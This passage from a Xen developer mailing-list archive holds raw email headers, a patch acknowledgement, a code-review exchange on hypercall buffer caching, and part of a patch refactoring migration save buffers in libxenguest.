 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260701162022.30265-1-anthony@xenproject.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1783580356-BC7875D1-C6DD3EE8/0/0
X-purgate-type: clean
X-purgate-size: 1197

On 01.07.2026 18:20, Anthony PERARD wrote:
> From: Anthony PERARD <anthony.perard@vates.tech>
> 
> There's some logic to avoid CC committers (THE REST section) when a
> file is fully maintained by a list of maintainers. There's also some
> logic to add maintainers if a patch or file contains some keywords.
> 
> We do add maintainers based on keyword to the list of $email_to before
> checking if we can remove emails from THE REST. And at the time when
> checking if we can drop THE REST, we've lost the information which
> tell if the maintainers was added because of a keyword of because they
> maintain the file.
> 
> Reorder the logic, add maintainers based on keywords only after
> checking if we can drop THE REST.
> 
> For example, if we have a file covered by a sections with only
> reviewers, but this file also contains the keyword "XSM", then:
>     scripts/get_maintainer.pl -f $file
> would suppress THE REST without this patch.
> 
> Signed-off-by: Anthony PERARD <anthony.perard@vates.tech>

Seeing that no-one else (with better Perl knowledge than mine) responded
so far, based on this looking plausible:
Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:14:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:14:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357575.1611950 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whixT-0002xb-Uu; Thu, 09 Jul 2026 07:14:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357575.1611950; Thu, 09 Jul 2026 07:14:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whixT-0002xU-RN; Thu, 09 Jul 2026 07:14:07 +0000
Received: by outflank-mailman (input) for mailman id 1357575;
 Thu, 09 Jul 2026 07:14:06 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whixS-0002xO-GG
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:14:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whixR-00AuDa-Pc
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:14:05 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f4a3c-e002-0a2a0a5209dd-0a2a450389d6-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:14:05 +0200
Received: from [74.125.224.52] (helo=mail-yx1-f52.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f4a3c-ec1a-0a2a45030019-4a7de034bd26-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:14:05 +0200
Received: by mail-yx1-f52.google.com with SMTP id
 956f58d0204a3-664cb440f9eso633320d50.1
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 00:14:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783581244; cv=none;
        d=google.com; s=arc-20260327;
        b=oHXW4CS/Q30vIIlW9AUjWK+b0LfnEjGLh0FBJY1LEVyHf0Eto/womvNOqXQ+CvLEmo
         4LULYKcNNr6eMrauLtwPlKzvuK1slUcKaNsHeYUYZIJXrdKb5h3ImIkuJ4CQOkuBXf1E
         Ungs1Xayd45897pixGZhRtynSxwDwToCL9V3ofFTVTLzCgIa0w8ogRqiM0Jnl4ysjLMB
         ZF4XklpOUeKJ/nPhAWPAdwBtqNImOlBfmZeHGdPXtB8WcMsZBoX2HgSyA19Rb3568D4w
         MqLppqgbw2wriotm3GSzFZ7wp1XElYGuLZpDpBhw9pqZa24DzA5oHaM8hXP5z4VWYzbi
         7Sng==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:dkim-signature;
        bh=96R0aAbcwKSJcVhwn6esJttlYNo8225hH9gYOu8JEfo=;
        fh=/xIDEt21AoDgIoFrvXO7IQvdlvHF73QaNWBe25gcoZE=;
        b=cb/HicNx1Zi87X8ds+TAVTT4LZ8qAPnXoX9E+AW8aSNpO2mC+O/s3GgH1UhJKH/j9k
         WY4b2R6B6PMKdEt3IlPblr46p4TVeD60yf0qiVChDD3YaHEFDZAWIzXCaGuN6TDZpuZs
         OG/F2qWnc1oUMhBvxgEoK0vBA52hPfhRxreTQiEKHxm1uGa/xvEN6BAx38RZWvwDJSgR
         S9obYEZh0V8wqCQsybe+VRnNMmzZD78kzVp2Xbo91JZVJ7UGDt62NZKdh8e05wSISEzD
         ETtvalsx9wQIVzMj6yvWSxCPyo0EbBHfNgpbB/StTKFDTbje4AtY80hDqIQyEOrMTI2u
         a4Dg==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783581244; x=1784186044; darn=lists.xenproject.org;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=96R0aAbcwKSJcVhwn6esJttlYNo8225hH9gYOu8JEfo=;
        b=cMxIxeJ6jLg1CXKSVTURvO9W0sVk7NmQ78mu39nNxIHAXEDGmKvif0hohuwSQdr0Nh
         XV2RmYmILTb9vpGoSLOE+IyBI+sAUvaZbc1O2PB8fAkzd2rb2J4WWBnQvh3/3IOPGfpf
         MKWYreLJXhnnyq+MTPrDhmeY+aNd1VxuH1r+xuUOW7BobYx5pJaImENRaSgDeE06202n
         SsrDgPbkFJoIo/E8vUbx9b4xGE2ZrfQ+jmq781/D2wgfcNFT8rde8ZuhzMfcnOQgvI8z
         DXtj2cSzKaAiMaj5wf1StyO/WQ22W2kUVbdHLnaA3/ErmqsZdThvJrPSrTUa7dohYvbs
         TwxA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783581244; x=1784186044;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=96R0aAbcwKSJcVhwn6esJttlYNo8225hH9gYOu8JEfo=;
        b=Zvhm4rTbUIsJMR3UIDWAcZdY/bGK8ly4l9FLGd8M2n9BDIaNVGcu9y8/WV9WlUyUnC
         mkIj8Xf7lSi4zdi5m6TrNlnDZa69zdzP6J3TMLWl8PhU0MMjBsELXBOqCReMhooUeTM7
         bQseEQoO6gq1r0+xk4gHQ+E5B8Sb/v7phQzKv1BziD8LKgHjS1glPzFHD+aDg5gvMtIR
         lX+8uv7ho2SxgvjNGpY+PTbQOKBfSrEg6Qg0T76b2/SpEwcyeRWOxY56X7eJDPlgAFOA
         G6e+DZoXP+wmNHHjppy0ffgjmmHMWc0VZWlQwHk/ZKs8h7vwgkKt0CPEE7Q6UrGiL4pq
         o7Gw==
X-Gm-Message-State: AOJu0YxHxKJBxMncAn0iCn8MvnZ/eOWbkULtq2VpTprq6ujEXDWN5F2T
	jw3TJnEFY90XF2VtS+TENjjBga2PEp5dj6pwJ7DdZ2MZikeRirUhJz7Hv6wKH6Vbs8M5H+Dv3wA
	3eoS9Xjb9m4ixmWs4+HTsmD1QuLJ4D+c=
X-Gm-Gg: AfdE7cncutBuTx+/SubKrPxYWeFtKQhuTHrNg0Ec2BbntEfjF3d8xtg3u/LQK35cMUJ
	FAgrK4FrpZyA70660CRLudL/+qCLlBvZemhYawYfXsTaGFTzk97qQeiilkXF9evcJ8UqfeY88Dt
	bFn2F6JnJjS7OMdKSgQJdssjMlXP8taWGZS5E8GKuHqmDaiODdvPsN7+kS6rG04Gbm9ivkmmXr5
	GrnMiVmyFKQHSku/ICYy/SEZIaHu0zC1hNEkdvEa1sRxOUdsC7m3uwQ1xR5TgqhqZ9Ey0Dx2dk6
	ef+iY8unty/R9EIvR63VBceHUZt1K8GUplvkXg==
X-Received: by 2002:a05:690e:4012:b0:666:3c7b:6f79 with SMTP id
 956f58d0204a3-6679f1b316amr3805756d50.68.1783581244131; Thu, 09 Jul 2026
 00:14:04 -0700 (PDT)
MIME-Version: 1.0
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-7-frediano.ziglio@citrix.com> <1783432302.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@vates.tech>
 <CAHt6W4cUTUOw=nsQVYnDBuLMZob0mBaWyjxVrggFWB6tY6LKqQ@mail.gmail.com> <1783516741.8631fc262581453bbf619ec5b2062170.19f41e1bde500080a8@vates.tech>
In-Reply-To: <1783516741.8631fc262581453bbf619ec5b2062170.19f41e1bde500080a8@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Thu, 9 Jul 2026 08:13:51 +0100
X-Gm-Features: AVVi8CeYcbxuGTi9ixzYyESJK5JvJXxNJVwTwLgZJXC8utUtvPexbWDpissTrAM
Message-ID: <CAHt6W4cgB1Azc5ki9-HU=AOf1rnGTvd=ddfJq85k04i7xcxyUg@mail.gmail.com>
Subject: Re: [PATCH v6 06/16] libs/call: cache up to 4 pages in hypercall
 bounce buffers
To: Anthony PERARD <anthony.perard@vates.tech>
Cc: xen-devel@lists.xenproject.org, =?UTF-8?B?RWR3aW4gVMO2csO2aw==?= <edwin.torok@citrix.com>, 
	Jan Beulich <jbeulich@suse.com>, Andrew Cooper <andrew.cooper3@citrix.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Juergen Gross <jgross@suse.com>, 
	Frediano Ziglio <frediano.ziglio@citrix.com>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-33051d/1783581245-BCF835D1-ACE3F7F2/0/0
X-purgate-type: clean
X-purgate-size: 2598

On Wed, 8 Jul 2026 at 14:19, Anthony PERARD <anthony.perard@vates.tech> wrote:
>
> On Tue, Jul 07, 2026 at 03:47:07PM +0100, Frediano Ziglio wrote:
> > On Tue, 7 Jul 2026 at 14:51, Anthony PERARD <anthony.perard@vates.tech> wrote:
> > > On Fri, Jun 19, 2026 at 02:04:51PM +0100, Frediano Ziglio wrote:
> > > > diff --git a/tools/libs/call/buffer.c b/tools/libs/call/buffer.c
> > > > index 155e4f9d43..2f0515c273 100644
> > > > --- a/tools/libs/call/buffer.c
> > > > +++ b/tools/libs/call/buffer.c
> > > > @@ -49,6 +49,9 @@ static void *cache_alloc(xencall_handle *xcall, size_t nr_pages)
> > > >  {
> > > >      void *p = NULL;
> > > >
> > > > +    if ( nr_pages == 0 )
> > > > +        return NULL;
> > >
> > > By doing that check here, we don't update the stat anymore. And it's
> > > getting out-of-sync with the updates done in cache_free().
> > >
> > > Before, we where returning a cache entry for that, and cache_hit++. I
> > > think it's ok to return cache_miss++ instead.
> > >
> >
> > Well... requesting 0 pages is weird by definition, even malloc(0) is
> > not well defined.
>
> malloc(0) isn't defined as weird, it is defined as
> "implementation-defined" ;-). But the pointer that the cache function
> handle isn't from malloc().
>
> > In theory in this case returning NULL would cause cache_free to not be
> > called as filtered by xencall_free_buffer_pages.
>
> Yes, for cases where the allocator returned NULL. But I can't find any
> guaranty of this. So I would prefer to have both cache_alloc() and
> cache_free() behave the same way when faced with nr_pages==0, without
> hindsight into the value of the pointer.
>
> >
> > I think the most symmetric think would be adding a similar test in
> > cache_free, like
> >
> > static int cache_free(xencall_handle *xcall, void *p, size_t nr_pages)
> > {
> >     int rc = 0;
> >
> >     if ( nr_pages == 0 )
> >         return 1;
> >
> >     cache_lock(xcall);
> >
> >
> > (the return 1 is needed to prevent the attempt to munmap the pointer
> > which does not make sense).
>
> If we have a pointer that is not NULL, we must free it. Even if you
> think it doesn't make sense. Also, there's no way to know, here, whether
> munmap() or an other function is going to be used. So, cache_free() must
> not say that it cached the pointer, and let the caller free it.
>

Changed to return 0, NULL pointer is handled by the caller anyway.

> Cheers,
>
>
> --
> Anthony Perard | Vates XCP-ng Developer
>
> XCP-ng & Xen Orchestra - Vates solutions
>
> web: https://vates.tech


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:44:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:44:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357593.1611995 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQr-0007rH-5a; Thu, 09 Jul 2026 07:44:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357593.1611995; Thu, 09 Jul 2026 07:44:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQr-0007rA-2a; Thu, 09 Jul 2026 07:44:29 +0000
Received: by outflank-mailman (input) for mailman id 1357593;
 Thu, 09 Jul 2026 07:44:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whjQp-0007bd-N5
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:44:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whjQp-002ZqU-0O
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:27 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f5151-5cb7-0a2a0a5109dd-0a2a4508d66a-12
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:26 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f515a-edec-0a2a45080019-d1558034f152-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:26 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493ba701891so10932755e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 00:44:26 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6f3b85sm69114695e9.2.2026.07.09.00.44.24
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 09 Jul 2026 00:44:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783583066; x=1784187866; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=SbsTLttx8i+LOt+EpVY9O+4mn+TTqNBKH43++Zu9LAk=;
        b=G98FWxkPF9XajoO7l9WWP6odvxwlkZv1TjCALS/yuAinL7d3BTgnrxUDFu8d84cmUU
         jLxU+GR14/O+/QxaK+zmEcIeOKgARE6zV9PsV5gGW8UdqWM/8XT8cteR0TSlaLKsSkIU
         PYI7V0RaRvnBAJ1ZVViW91Z+BrIOAT8Q5WtdaiLepu3tHof0pDKyzl7fWa2bJw8ZoA6D
         bbQwFDPQNJeLd5k21kbYHQ6Uys8XbdEbUy0AstHuGkBRg6wQfjWj6G47Xi9X71VynK5x
         BHuBPBw8jyAs1+N72RkhYMbAbPOpJMtY4i5PrmsMoDDGAqHc7NetP3WJtuyK9rYZwdF4
         6gtg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783583066; x=1784187866;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=SbsTLttx8i+LOt+EpVY9O+4mn+TTqNBKH43++Zu9LAk=;
        b=j8xM6Ws39RDCqkz0la4+hFQtBUEXMobezpxrUsrYts09Dcm0d6YS0LEI3dxeuEW0Cy
         ct59nao2vLVHaRfaJo5KQ4YNWO2bEw64fQ2ssc5BXiT5EuGwwlMGJ+zv1e1NeU9kcMoc
         SQMY3UFBSfsim9MREvN2W1ZGdgD4bzCuhDtt/nuBdtJSFcXB1a2AShQ845PuQoHD9Nac
         QJEjiZFAV1wMJ9FtJmFM46IyrnhxmTfzfHBbR73f1aKyBDVWzO5boe5E5ugBeutOvlt4
         eVqvkIhwx/jqfa9z14kIP6EN1T3trc1BD4BTPtohUnRkwDv9Xrj5tujCr5O8slmyFGxG
         62Pw==
X-Gm-Message-State: AOJu0YwuHKrc3pc708uVroB4HEv7Uy1NVLXQTYpv6aJ2s+uDkaEb+/fB
	k2T0u1lhRCdHrm4pYYh3MhlUrn+y1AfMaBfdrnPIHANHkmYBxVsJxuwKN+tyok9uoXQ=
X-Gm-Gg: AfdE7clBbRkAl6PgXxp7pjFc/moQRdJUF0LE49K3/BAMbwhTulhbvXjWQL6Jjn8ZVsX
	rqxWJ8EscmbT3FPYhTnZM0p5d5bHrEZZhsqTwY1jQ7rLshyfl0ZB+OLgQpb1YWfPT0ib1IOGk7t
	87jMBPkFWXZIkiFYXTMVyttdctAeJKqZhS1NCNtR5D5s2Xhm8kHk7V35jlKTZI35dKawEts4djv
	kUsnNrAX5Sh9Rm7m7rUiOpTvBAT2TTRlFog4VybPN44r3bX+zOwMeFEF5wOStQ+0vlp5wrGse/y
	suPsFCmffMdQ2UYGi8gcmQGj41L/Qftb8E23F2ZIb51bGRA7+8U57MbqxdFq1O1r0dP+hP9mrA1
	2+zyWfSP+xriwmmLCiECJhDnEQt8f74B8snIbQ1p/4hQC6zTMVvKUGvQEDSQuelFK564/bInSsH
	khU/QmWGIqfzH181PN0+8vJufj2CpWP7bUydudDsZJYLTbBKCkBub9UCAdv5LyeXTMNy+8U5bh+
	OsI48HbDx9RgE6+HDw=
X-Received: by 2002:a05:600d:8497:20b0:493:b55f:bca4 with SMTP id 5b1f17b1804b1-493e68cec61mr42867035e9.29.1783583066271;
        Thu, 09 Jul 2026 00:44:26 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Edwin=20T=C3=B6r=C3=B6k?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v7 4/6] libs/guest: move batch_pfns into a separate structure
Date: Thu,  9 Jul 2026 08:43:55 +0100
Message-ID: <20260709074358.256084-5-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709074358.256084-1-frediano.ziglio@citrix.com>
References: <20260709074358.256084-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1783583066-413283FC-20146C73/0/0
X-purgate-type: clean
X-purgate-size: 5973

From: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>

Prepare for following change.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v6:
- split from "libs/guest: allocate various migration arrays just once".
---
 tools/libs/guest/xg_sr_common.h |  5 ++++-
 tools/libs/guest/xg_sr_save.c   | 31 +++++++++++++++++--------------
 2 files changed, 21 insertions(+), 15 deletions(-)

diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index f1573aefcb..7574c9f5b6 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -239,11 +239,14 @@ struct xc_sr_context
 
             struct precopy_stats stats;
 
-            xen_pfn_t *batch_pfns;
             unsigned int nr_batch_pfns;
             unsigned long *deferred_pages;
             unsigned long nr_deferred_pages;
             xc_hypercall_buffer_t dirty_bitmap_hbuf;
+            struct xc_sr_context_save_buffers
+            {
+                xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+            } *buffers;
         } save;
 
         struct /* Restore data. */
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 84fdbe4140..8956f4260d 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -75,7 +75,7 @@ static int write_checkpoint_record(struct xc_sr_context *ctx)
 
 /*
  * Writes a batch of memory as a PAGE_DATA record into the stream.  The batch
- * is constructed in ctx->save.batch_pfns.
+ * is constructed in ctx->save.buffers->batch_pfns.
  *
  * This function:
  * - gets the types for each pfn in the batch.
@@ -95,6 +95,7 @@ static int write_batch(struct xc_sr_context *ctx)
     void *page, *orig_page;
     uint64_t *rec_pfns = NULL;
     struct iovec *iov = NULL; int iovcnt = 0;
+    xen_pfn_t *batch_pfns;
     struct {
         struct xc_sr_rhdr rec;
         struct xc_sr_rec_page_data_header page_data;
@@ -110,6 +111,10 @@ static int write_batch(struct xc_sr_context *ctx)
     };
 
     assert(nr_pfns != 0);
+    assert(nr_pfns <= MAX_BATCH_SIZE);
+    assert(ctx->save.buffers);
+
+    batch_pfns = ctx->save.buffers->batch_pfns;
 
     /* Mfns of the batch pfns. */
     mfns = malloc(nr_pfns * sizeof(*mfns));
@@ -141,13 +146,12 @@ static int write_batch(struct xc_sr_context *ctx)
 
     for ( i = 0; i < nr_pfns; ++i )
     {
-        types[i] = mfns[i] = ctx->save.ops.pfn_to_gfn(ctx,
-                                                      ctx->save.batch_pfns[i]);
+        types[i] = mfns[i] = ctx->save.ops.pfn_to_gfn(ctx, batch_pfns[i]);
 
         /* Likely a ballooned page. */
         if ( mfns[i] == INVALID_MFN )
         {
-            set_bit(ctx->save.batch_pfns[i], ctx->save.deferred_pages);
+            set_bit(batch_pfns[i], ctx->save.deferred_pages);
             ++ctx->save.nr_deferred_pages;
         }
     }
@@ -193,7 +197,7 @@ static int write_batch(struct xc_sr_context *ctx)
             if ( errors[p] )
             {
                 ERROR("Mapping of pfn %#"PRIpfn" (mfn %#"PRIpfn") failed %d",
-                      ctx->save.batch_pfns[i], mfns[p], errors[p]);
+                      batch_pfns[i], mfns[p], errors[p]);
                 goto err;
             }
 
@@ -207,7 +211,7 @@ static int write_batch(struct xc_sr_context *ctx)
             {
                 if ( rc == -1 && errno == EAGAIN )
                 {
-                    set_bit(ctx->save.batch_pfns[i], ctx->save.deferred_pages);
+                    set_bit(batch_pfns[i], ctx->save.deferred_pages);
                     ++ctx->save.nr_deferred_pages;
                     types[i] = XEN_DOMCTL_PFINFO_XTAB;
                     --nr_pages;
@@ -235,7 +239,7 @@ static int write_batch(struct xc_sr_context *ctx)
     hdrs.rec.length += nr_pages * PAGE_SIZE;
 
     for ( i = 0; i < nr_pfns; ++i )
-        rec_pfns[i] = ((uint64_t)(types[i]) << 32) | ctx->save.batch_pfns[i];
+        rec_pfns[i] = ((uint64_t)(types[i]) << 32) | batch_pfns[i];
 
     if ( writev_exact(ctx->fd, iov, iovcnt) )
     {
@@ -274,9 +278,9 @@ static int flush_batch(struct xc_sr_context *ctx)
 
     if ( !rc )
     {
-        VALGRIND_MAKE_MEM_UNDEFINED(ctx->save.batch_pfns,
+        VALGRIND_MAKE_MEM_UNDEFINED(ctx->save.buffers->batch_pfns,
                                     MAX_BATCH_SIZE *
-                                    sizeof(*ctx->save.batch_pfns));
+                                    sizeof(*ctx->save.buffers->batch_pfns));
     }
 
     return rc;
@@ -293,7 +297,7 @@ static int add_to_batch(struct xc_sr_context *ctx, xen_pfn_t pfn)
         rc = flush_batch(ctx);
 
     if ( rc == 0 )
-        ctx->save.batch_pfns[ctx->save.nr_batch_pfns++] = pfn;
+        ctx->save.buffers->batch_pfns[ctx->save.nr_batch_pfns++] = pfn;
 
     return rc;
 }
@@ -784,11 +788,10 @@ static int setup(struct xc_sr_context *ctx)
 
     dirty_bitmap = xc_hypercall_buffer_alloc_pages(
